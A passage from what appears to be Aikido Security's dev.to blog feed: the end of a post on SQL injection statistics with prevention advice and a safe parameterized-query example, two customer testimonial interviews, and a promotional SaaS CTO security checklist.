&lt;strong&gt;An increase in the total number of SQL injection in open-source projects (CVE that involve SQLi) from 2264&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;(2023)&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;to 2400&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;(2024)&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;is expected.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;As a percentage of all vulnerabilities, SQL injection is getting less popular: a decrease of 14% and 17% for open-source and closed-source projects respectively from 2023 to 2024&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Over 20% of closed source organizations scanned vulnerable to SQL injection when they start using&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For organizations vulnerable to SQL injection, the average number of SQL injection sites is nearly 30  separate instances&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We reviewed how many SQLi vulnerabilities were discovered in open-source packages in 2023 and so far in 2024. We then compared that to closed-source projects that have been discovered by Aikido Security customers. Unsurprisingly, we are still seeing shocking numbers of SQL injection in both closed and open-source projects. 6.7% of all vulnerabilities discovered in open-source projects in 2024 are SQL injection vulnerabilities while 10% of vulnerabilities discovered in closed-source projects were SQL injection vulnerabilities. This may not seem like a lot but it is frankly shocking that in 2024 we are still struggling to cope with some of the most basic vulnerabilities we know of.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The only good news we have&lt;/strong&gt; is that this number is a &lt;strong&gt;14% decrease from 2023&lt;/strong&gt; in open-source and a &lt;strong&gt;17% reduction&lt;/strong&gt; in closed-source projects as a percentage of all vulnerabilities found. However, the total number of SQLi found is expected in increase from 2264 in 2023 to over 2400 by the end of 2024 in open-source projects.&lt;/p&gt;

&lt;p&gt;This data was gathered by looking at relevant CWEs in the GitHub advisory database from the data of Aikido’s Customers. Primarily CWE-89 and CWE-74.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154557_eb64fbcf5bd212fcc6ea13d465fd5f24.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154557_eb64fbcf5bd212fcc6ea13d465fd5f24.jpg" width="800" height="598"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;​&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154610_8858d64f67b5fef02785a1368a47c505.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154610_8858d64f67b5fef02785a1368a47c505.png" width="800" height="599"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing SQL injection
&lt;/h2&gt;

&lt;p&gt;Apparently, there isn’t enough information on the internet just yet on how to prevent SQL injection or we would be seeing these numbers as much less. Here are a few of the key points.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Use Prepared Statements and Parameterized Queries&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the example at the start of this Blog Post, we showed vulnerable code because it takes untrusted user input and uses it directly in a query. To avoid this we should use prepared statements which means defining your query first and then adding user input later. This means the database engineer interprets the SQL structure BEFORE adding the user input&lt;/p&gt;

&lt;p&gt;&lt;code&gt;import sqlite3&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;conn = sqlite3.connect('example.db')&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cursor = conn.cursor()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;user_id = 5  # Example safe input&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# Safe query using parameterized query&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Server-side input/schema validation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Input validation is effective in preventing SQLi but ONLY on the server side. Client-side input validation, which prevents a user from using characters in an input field for example, is great for user experience but can be bypassed by attackers (through direct http requests for example) so does little to prevent SQL injection. For example, if your API expects a credit card number, it’s easy to add numeric validation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Use SAST &amp;amp; DAST tools to discover SQLi&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;One of the most terrifying elements of SQLi is that it is easily discovered by adversaries often being described as a low-hanging fruit vulnerability. Part of this reason is because tools like DAST can automatically discover them. This can be used to our advantage and we can introduce these tools into our development process to catch them early.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Aikido has now launched their AI-powered SAST Autofix which can not just find SQLi vulnerabilities but suggest and verify code fixes!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Implement an in-app firewall&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An in-app firewall monitors traffic and activity inside your application and can detect attacks including injection and SQLi. This is more effective than a traditional WAF as it sits inside your application and is able to tokenize expected queries and block requests that change the command structure of the query.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Shameless plug for Aikido&lt;/em&gt;’s &lt;em&gt;new launch:&lt;/em&gt; &lt;a href="https://www.aikido.dev/zen" rel="noopener noreferrer"&gt;Zen&lt;/a&gt;&lt;em&gt;, the in-app firewall for peace of mind at runtime.&lt;/em&gt; &lt;a href="https://www.aikido.dev/zen" rel="noopener noreferrer"&gt;Get Zen&lt;/a&gt; &lt;em&gt;and it will automatically block critical injection attacks and zero-day threats in real-time, before they ever reach your database.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;e5. Avoid Dynamic SQL Where Possible&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Dynamic SQL generation through string concatenation is highly vulnerable to SQL injection. Whenever possible, stick to static, pre-defined queries and stored procedures that don’t rely on user-generated content for SQL structure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Allowlisting and escaping&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In some cases, you cannot avoid Dynamic SQL, such as when querying dynamic tables, or when you want to order by a user-defined column and direction. If those cases you have no other option than to rely on regular expression allowlisting or escaping.  Escaping is taking user input that contains dangerous characters used in code like ‘&amp;gt;’ and turning them into a safe form. Ether by adding backslashes before them or transforming them into a symbol code. Note that this is different not only for each database type but can also depend on connection settings such as charset.&lt;/p&gt;

&lt;h2&gt;
  
  
  Will we ever see the end of SQLi
&lt;/h2&gt;

&lt;p&gt;While there is some promise in the fact we have seen a somewhat significant decrease in the number SQLi vulnerabilities found it is still disheartening to see that a vulnerability that predates the game DOOM is still such a significant threat to the landscape. The truth is, I can’t see this getting much better. As we introduce more tools to help us code faster, developers are getting less in touch with the core coding principles and these AI tools are notoriously bad at suggesting vulnerable code with injection vulnerabilities included.&lt;/p&gt;

&lt;p&gt;It is not all Doom and gloom (pun intended) though, we are seeing significant improvements in a new generation of SAST tools that are far more effective at discovering and fixing these vulnerabilities has the ability to drastically change the threat landscape.&lt;/p&gt;

&lt;p&gt;That’s all for now folks. Stay safe, and don’t forget to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Discover and automatically fix SQL injection with Aikido&lt;/em&gt; &lt;a href="https://help.aikido.dev/section/aikido-autofix/sgQMoUQEbbtY?utm_adgroup=&amp;amp;device=c&amp;amp;matchtype==&amp;amp;gclid=Cj0KCQiArby5BhCDARIsAIJvjIR2rSejog9zS2UeU7JCtm1WkkcOBc71C0doiNzEQLpd3zpJtA0W9ZUaAotrEALw_wcB&amp;amp;utm_term=&amp;amp;utm_campaign=21032947320&amp;amp;utm_source=adwords&amp;amp;utm_medium=cpc&amp;amp;utm_content=&amp;amp;hsa_acc=4523967680&amp;amp;hsa_cam=21032947320&amp;amp;hsa_grp=&amp;amp;hsa_ad=&amp;amp;hsa_src=x&amp;amp;hsa_tgt=&amp;amp;hsa_kw=&amp;amp;hsa_mt=&amp;amp;hsa_net=adwords&amp;amp;hsa_ver=3&amp;amp;gad_source=1" rel="noopener noreferrer"&gt;AI SAST Autofix&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Checkout&lt;/em&gt; &lt;a href="https://www.aikido.dev/zen" rel="noopener noreferrer"&gt;Zen&lt;/a&gt; &lt;em&gt;and prevent injection attacks as they happen&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  &lt;em&gt;Check out Injection Attacks 101 to get the an introduction to SQL injections, code injections, and XSS&lt;/em&gt;
&lt;/h4&gt;

&lt;p&gt;​&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/wu6FAsiFhv0"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Wed, 06 Nov 2024 10:19:07 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/vismas-security-boost-with-aikido-a-conversation-with-nikolai-brogaard-icj</link>
      <guid>https://dev.to/aikidosecurity/vismas-security-boost-with-aikido-a-conversation-with-nikolai-brogaard-icj</guid>
      <description>&lt;h3&gt;
  
  
  &lt;strong&gt;Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://vimeo.com/1026556811?share=copy#t=0" rel="noopener noreferrer"&gt;https://vimeo.com/1026556811?share=copy#t=0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Aikido helps us catch the blind spots in our security that we couldn’t fully address with our existing tools. It’s been a game-changer for us beyond just the SCA (Software Composition Analysis) solutions we originally brought them in for."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A little while ago, we shared that &lt;a href="https://www.aikido.dev/blog/aikido-secures-visma-network" rel="noopener noreferrer"&gt;Visma chose Aikido Security for its portfolio companies&lt;/a&gt;. Recently, we had the pleasure of having &lt;a href="https://dk.linkedin.com/in/nicolaibrogaard" rel="noopener noreferrer"&gt;Nicolai Brogaard, Service Owner of SAST &amp;amp; SCA&lt;/a&gt; over in our Belgian headquarters.&lt;/p&gt;

&lt;p&gt;Nikolai’s part of the security testing team at Visma, a large conglomerate with 180 portfolio companies. Visma is serious about security—it's something they focus on across the board. With 15,000 employees (6,000 of whom are developers) and a dedicated security team of 100 people, security is at the core of their operations.&lt;/p&gt;

&lt;p&gt;These are his thoughts on the evolving security landscape, and the role Aikido plays in it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Aikido?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;At Visma, we’ve thought about building our own security tools, but we realized pretty quickly it wasn’t the best use of our resources. That’s where Aikido came in. They filled in the gaps that our existing tools, especially SAST (Static Application Security Testing), didn’t cover. With Aikido, we didn’t have to stretch ourselves thin developing tools from scratch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Regional Expertise Matters&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Being based in the EU, it’s really important for us to work with vendors who understand the specific regulations we face—especially things like GDPR and data residency requirements. Aikido gets this. They know the ins and outs of EU regulations, which makes it much easier for us to comply with things like keeping data on national soil.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How We Evaluate Security Software&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When we look at new vendors, we go by the 80/20 rule: If a solution fits the needs of 80% of our portfolio companies, it’s worth considering. Aikido nailed that for us. Beyond just SCA, they provide additional features, like addressing security blind spots and helping with CSPM (Cloud Security Posture Management). These added benefits really sealed the deal for us.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Benefits of Aikido&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Aikido hasn’t just enhanced our security posture—it’s also helped us uncover things we were missing with our previous tools. Initially, we brought them on for SCA, but we quickly realized they could do much more, especially in reducing the time and effort spent on dealing with false positives. Their auto-remediation feature is a huge time-saver for our teams. It cuts through the noise, so our developers can focus on what really matters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Smooth Transition&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Switching to Aikido was easy. At Visma, we have an internal security developer portal called Hubble, which makes onboarding new tools super straightforward. With Aikido, it was just a matter of integrating them into Hubble and giving our portfolio companies a gentle nudge to make the switch. Most companies transitioned quickly, and the rest follow over time as we track risk internally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Visma Loves About Aikido&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The best thing about Aikido? They’re super proactive. We have a shared Slack channel with them, and they’re always quick to respond and solve any issues our teams run into. It’s great to feel like we’re more than just a customer—they really care about making sure we’re getting the most out of their product.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Aikido isn’t just a vendor for us—they’re a true partner. Their responsiveness and dedication to helping us succeed make all the difference."&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Key Highlights:&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Filling Security Gaps&lt;/strong&gt;: Aikido shines a light on the blind spots our other tools miss.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time-Saving Automation&lt;/strong&gt;: The auto-remediation feature cuts down on noise, letting our developers focus on real issues.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simple Onboarding&lt;/strong&gt;: With Visma’s internal portal, getting companies on board with Aikido is a breeze.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proactive Support&lt;/strong&gt;: Aikido’s fast, responsive support via instant messaging platforms (like Slack) makes us feel like we’re in good hands.&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Security in FinTech: Q&amp;A with Dan Kindler, co-founder &amp; CTO of Bound</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Thu, 10 Oct 2024 12:10:28 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/security-in-fintech-qa-with-dan-kindler-co-founder-cto-of-bound-3o94</link>
      <guid>https://dev.to/aikidosecurity/security-in-fintech-qa-with-dan-kindler-co-founder-cto-of-bound-3o94</guid>
      <description>&lt;p&gt;Recently, we sat down with Dan Kindler, co-founder and CTO of &lt;a href="https://bound.co/" rel="noopener noreferrer"&gt;Bound&lt;/a&gt;, a FinTech company focused on minimizing currency risk and loss, to learn how they’re dealing with security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hey Dan! Can you tell us a bit more about yourself and Bound?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hi, I’m Dan Kindler and I’m the CTO and co-founder of &lt;a href="https://bound.co/" rel="noopener noreferrer"&gt;Bound&lt;/a&gt;. We focus on making currency conversion and hedging cheap, fair, and most of all, easy. Our platforms help hundreds of businesses protect themselves from currency risk across the world. Currently, about half of our team is composed of engineers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How is Bound positioned within the FinTech sector, and compared to the competition?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before diving into FinTech itself, let me cover how we’re positioned against traditional financial institutions first. Traditional banks or brokers typically cater to customers with large treasury teams who value dealing over the phone and email. Their online exchanges typically only offer on-the-spot transactions. Since our aim is to make hedging easy and hassle-free, we’re offering both spot and currency hedging tools to manage and protect your international cash flows. Back in December 2022, we received our FCA authorization, a UK financial regulatory authority, allowing us to provide regulated hedging products.&lt;/p&gt;

&lt;p&gt;When it comes to FinTech, it's safe to say we’re breaking Bound-aries (yeah) by introducing self-serve foreign exchange conversions online. Companies like Wise and Revolut have done a tremendous job of making currency conversions easy online – but they only focus on “spot” (or instant) conversions. With Bound, we focus on future cash flows, which they don’t focus as much on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What purpose should security in FinTech serve?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security plays a huge role in our industry. At the end of the day, we're dealing with financial transactions that could be worth hundreds of thousands of pounds/dollars/euros – if not more. At Bound, our transaction volume already exceeded hundreds of millions of dollars. If a security risk sneaks its way into our product - or any FinTech product for that matter - it's safe to say sh*'t hits the fan. And not just any fan. Legal consequences aside, hackers could steal other people’s savings, destroying businesses and lives.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Within FinTech, I can imagine regulatory instances or governmental regulatory bodies are putting more scrutiny on companies that deal with customer data. How does Aikido help you deal with this?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The pressure to stay compliant is huge. In the UK, we’re constantly navigating strict regulations like the GDPR and the FCA's guidance on data protection and security. The regulators expect us to be proactive in managing vulnerabilities, especially since we handle sensitive customer data.&lt;/p&gt;

&lt;p&gt;Aikido has been a game-changer for us. The 9-in-1 platform allows us to comprehensively cover every aspect of our software security. This approach makes it easier to meet regulatory requirements without piecing together multiple tools. A big plus has been the false-positive reduction. In a regulatory landscape, we don’t have the luxury of wasting time chasing down non-existent vulnerabilities. Aikido’s precision means that when an alert comes in, we can trust it’s something that requires action, which is invaluable during audits or compliance reviews. Plus, the clear UX allows our team to act swiftly, avoiding the complexity that usually comes with security tools. It ensures that we stay ahead of any potential compliance issues without disrupting our development flow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What future regulation do you see coming down the line for other engineering leads &amp;amp; VPs to keep an eye on?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Future UK FinTech regulations are likely to focus on expanding Open Banking and enhancing digital assets oversight. With innovations like Variable Recurring Payments and a digital regulatory sandbox, engineering teams should prepare for tighter security standards and new API integrations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Before Aikido, what kept you up at night in terms of security? How were you addressing security?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Honestly, it was a mess trying to manage different tools for each type of security check. We were constantly worried something would get missed, and the number of false positives made it even worse. Aikido brought everything together in one place, so now we’re catching real issues without all the noise, and it’s made our lives way easier.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We saw Bound is one of our few customers that pretty much solved every open issue reported. Has Aikido helped you out with this?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Absolutely! We pride ourselves on taking security very seriously (as most companies – hopefully – do). For us, Aikido has had a tremendous impact on how we approach vulnerability management and remediation. We consider it to be our single source of truth, and the platform’s deduplication &amp;amp; pre-filtering of false positives features really help us see the forest through the trees. Once a real vulnerability pops up, we have a trigger appear in our issue tracker (Linear) to ensure we fix it as soon as possible. The process is pretty neat and well embedded into our development cycle, and we rely on it a lot.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What's your experience in working together with the Aikido team?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The team’s been super responsive and supportive from day 1. We’re able to share real time feedback, make requests, and receive relevant product updates through our joint Slack channel. At some point, I asked the Aikido team if they realized what they’ve gotten themselves into. We didn’t let their product team sleep once we realized we could ask all the things!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What's your favorite feature?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;False-positive reduction aside, the ‘Import from GitHub’-button is very cool. I really like that all the repos automatically get assigned to a team. We can keep GitHub as the source of truth, while Aikido seamlessly maps everything out accordingly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Any closing remarks?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We had our first penetration test and Amazon AWS security audit earlier this year, which went very well. We got nothing above a medium (and most of the mediums I didn’t entirely agree with anyway…). They probably would have found much more of interest if we hadn’t had Aikido shouting at us constantly, so thanks for that!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Aikido’s 2024 SaaS CTO Security Checklist</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Mon, 24 Jun 2024 16:45:13 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/aikidos-2024-saas-cto-security-checklist-387l</link>
      <guid>https://dev.to/aikidosecurity/aikidos-2024-saas-cto-security-checklist-387l</guid>
      <description>&lt;p&gt;SaaS companies have a huge target painted on their backs when it comes to security, and that’s something that keeps their CTOs awake at night. The Cloud Security Alliance released its &lt;a href="https://cloudsecurityalliance.org/artifacts/state-of-saas-security-2023-survey-report/" rel="noopener noreferrer"&gt;State of SaaS Security: 2023 Survey Report&lt;/a&gt; earlier this year and discovered that “55% of organizations report that they experienced an incident in the past two years”.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fimage_b27c537ce0e805406ba416d08263148a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fimage_b27c537ce0e805406ba416d08263148a.png" alt="Chart showing percentage of SaaS application security incidents from the Cloud Security Alliance State of SaaS Security: 2023 Survey Report"&gt;&lt;/a&gt;&lt;em&gt;Chart from the Cloud Security Alliance State of SaaS Security: 2023 Survey Report&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The importance of security is backed up by the results from Aikido’s recent &lt;a href="https://www.aikido.dev/blog/cloud-code-security-cto-consultation" rel="noopener noreferrer"&gt;consultation with 15 SaaS CTOs&lt;/a&gt;, in which “93% of CTOs ranked threat prevention importance 7 (out of 10) or higher.”&lt;/p&gt;

&lt;p&gt;To help SaaS CTOs sleep better, we’ve created a comprehensive SaaS CTO Security Checklist. We’re confident that, if you follow it, &lt;em&gt;and keep going back to it&lt;/em&gt;, you will make &lt;strong&gt;both your company and application 10x more secure&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real risks for SaaS companies
&lt;/h2&gt;

&lt;p&gt;CI/CD tools like GitHub Actions and CircleCI are prime hacker targets. Their frequent breaches &lt;a href="https://www.aikido.dev/blog/prevent-fallout-when-cicd-platform-hacked" rel="noopener noreferrer"&gt;grant access to clouds and lead to data exposure&lt;/a&gt;. A 2023 CircleCI breach compromised customer secrets, while a 2022 GitHub Actions exploit hit open source projects.&lt;/p&gt;

&lt;p&gt;A startup's entire AWS environment was &lt;a href="https://www.aikido.dev/blog/how-a-startups-cloud-got-taken-over-by-a-simple-form-that-sends-an-email" rel="noopener noreferrer"&gt;compromised via a basic contact form on their site&lt;/a&gt;. How? The form allowed SSRF attacks, granting access to IAM keys which were then emailed out. The attacker gained control of S3 buckets and environment variables.&lt;/p&gt;

&lt;p&gt;These security breaches happened to real companies and had real effects. But they could have been prevented if they had invested more time and effort into improving their security practices.&lt;/p&gt;

&lt;h2&gt;
  
  
  SaaS CTO Security Checklist: 40+ items to guide you
&lt;/h2&gt;

&lt;p&gt;Our deceptively simple checklist covers over 40 ways to harden security across your people, processes, code, infrastructure, and more. It's organized by business growth stage - &lt;strong&gt;bootstrap, startup, and scaleup&lt;/strong&gt; - so you can find the security best practices relevant to your current phase. As you grow, our checklist will become your trusted guide and constant companion on the journey to security best practices for your SaaS company.&lt;/p&gt;

&lt;p&gt;Each item on the list is designed to make you and your team think about security in the first place, then give you clear, concise instructions on what you can do to deal with the vulnerability. And each item is tagged so that you can be sure it applies to your company’s current stage.&lt;/p&gt;

&lt;p&gt;The checklist is also divided into sections so that you can consider the needs of different parts of your company. Your employees are vulnerable to different threats than your code or your infrastructure, so it makes sense to look at them separately.&lt;/p&gt;

&lt;p&gt;As you go through the list, you’ll undoubtedly find that some items don’t apply to you yet. But we recommend that you revisit the checklist regularly so that you don’t encounter any nasty surprises. Security doesn’t have to be scary, as long as you act to become more secure &lt;em&gt;before&lt;/em&gt; something bad happens.&lt;/p&gt;

&lt;p&gt;We’ve cherry-picked a few items to give you a sneak peek at the checklist. The final checklist contains over 40, so make sure you download your copy and get started on improving your security today.&lt;/p&gt;

&lt;h2&gt;
  
  
  Back up, then back up again
&lt;/h2&gt;

&lt;p&gt;The first applies to all stages of company growth, and it’s absolutely vital. But then again, we’re sure you already back up regularly, right? Right?!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-36_97e3110e676f826d226f155ff1264ce1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-36_97e3110e676f826d226f155ff1264ce1.png" alt="Image of SaaS CTO Security Checklist item: Back up, then back up again"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Hire an external penetration testing team
&lt;/h2&gt;

&lt;p&gt;Our next item is crucial for companies that are starting to scale up. Growth is going well, you’ve dealt with all the issues that are risks on the way up, but are you sure that your infrastructure is secure at all levels? That’s when it’s time to &lt;a href="https://get.aikido.dev/pentesting-for-saas-companies-aikido-security" rel="noopener noreferrer"&gt;hire a penetration testing team&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-42-1_f3d495bceb88c574158342328e8bc759.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-42-1_f3d495bceb88c574158342328e8bc759.png" alt="Image of SaaS CTO Security Checklist item: Hire an external penetration testing team"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Update your OS and Docker containers
&lt;/h2&gt;

&lt;p&gt;This one is straightforward, but many developers cut corners here. Updating eats up sprint time while other tasks seem more urgent. But skipping updates leaves vital systems exposed to vulnerabilities. Stay diligent with patching and updating to avoid major headaches down the road.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-39_ccfe5a1da40b4460f31fe5cb57f485b8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-39_ccfe5a1da40b4460f31fe5cb57f485b8.png" alt="Image of SaaS CTO Security Checklist item: Update your OS and Docker containers"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Get everyone accustomed to basic security practices
&lt;/h2&gt;

&lt;p&gt;The last item is relevant at all stages and it’s part and parcel of our checklist: the need to get everyone accustomed to basic security practices. Humans make mistakes. It’s inevitable. But if you get everyone thinking about security, those mistakes can be mitigated.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-36-1_f64dd7faf3758f3f21f9884ae8eb9231.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fframe-36-1_f64dd7faf3758f3f21f9884ae8eb9231.png" alt="Image of SaaS CTO Security Checklist item: Get everyone accustomed to basic security practices"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Download your free SaaS CTO Security Checklist
&lt;/h2&gt;

&lt;p&gt;That’s just a handful of the essential tips covered in the checklist. We’ll also give you guidance on code reviews, onboarding and offboarding,  DDoS attacks, database recovery plans, and much more.&lt;/p&gt;

&lt;p&gt;Download Aikido’s 2024 SaaS CTO Security Checklist now and get started on hardening your app and getting your team thinking seriously about security. It’s never too late, or too early, no matter what stage your company is at.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download the full SaaS Security Checklist:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://share-eu1.hsforms.com/1HXOAHoTQQxGEKFLvZx7stAfiwyg" rel="noopener noreferrer"&gt;https://share-eu1.hsforms.com/1HXOAHoTQQxGEKFLvZx7stAfiwyg&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>We just raised our $17 million Series A</title>
